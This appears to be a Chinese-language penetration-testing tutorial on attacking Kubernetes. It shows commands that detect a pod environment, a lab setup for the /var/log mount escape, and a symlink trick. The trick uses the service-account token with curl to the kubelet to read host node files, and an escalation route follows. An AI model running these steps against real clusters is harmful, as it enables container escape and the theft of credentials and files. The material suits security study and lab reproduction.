K8s attack

判断k8s环境¶

检测是否为虚拟机¶

Bash

# only in linux
systemd-detect-virt

查看cgroup¶

Bash

cat /proc/1/cgroup

k8s环境显示如上

查看文件系统及挂载点¶

Bash

df -T

查看环境变量¶

Bash

env

k8s pod环境变量如上

CVE-2018-1002105¶

参考：CVE-2018-1002105 提权漏洞 | T Wiki (teamssix.com)

挂载 /var/log 逃逸¶

这里用单纯的挂载/var/log 来形容这个逃逸的触发条件其实不太严谨，需要满足如下条件。

挂载了/var/log
容器是在一个 k8s 的环境中
当前 pod 的 serviceaccount 拥有 get|list|watch log 的权限

环境搭建¶

Bash

git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt
./metarget gadget install k8s --version 1.16.5
./metarget cnv install mount-var-log

或者在 k8s 中执行以下配置文件

YAML

apiVersion: v1
kind: ServiceAccount
metadata:
  name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: user-log-reader
rules:
- apiGroups: [""]
  resources:
  - nodes/log
  verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: user-log-reader
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: user-log-reader
subjects:
- kind: ServiceAccount
  name: logger
  namespace: default
---
apiVersion: v1
kind: Pod
metadata:
  name: escaper
spec:
  serviceAccountName: logger
  containers:
  - name: escaper
    image: danielsagi/kube-pod-escape
    volumeMounts:
    - name: logs
      mountPath: /var/log/host
  volumes:
  - name: logs
    hostPath:
      path: /var/log/
      type: Directory

漏洞检测¶

前提是处于 k8s 环境下，漏洞检测才有意义

Bash

find / -name lastlog 2>/dev/null | wc -l | grep -q 3 && echo "/var/log is mounted." || echo "/var/log is not mounted."

漏洞复现¶

进入容器

Bash

kubectl exec --stdin --tty escaper -- /bin/bash

这里的 /var/log 目标挂载到了 /var/log/host 下，创建软链接

Bash

cd /var/log/host
ln -s / ./root_link

这时就可以访问到 node 节点上的文件了

Bash

token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://172.17.0.1:10250/logs/root_link/ -H "Authorization: Bearer $token"

或者直接使用脚本，一键窃取敏感文件 https://github.com/danielsagi/kube-pod-escape

k8s集群渗透¶

k8s 集群架构¶

渗透路线¶

docker user shell
docker root shell
docker逃逸
内网横向

Important

path:

connect container
container escape
container to container
container to pod
pod to pod
pod to node
node to apiserver
node to master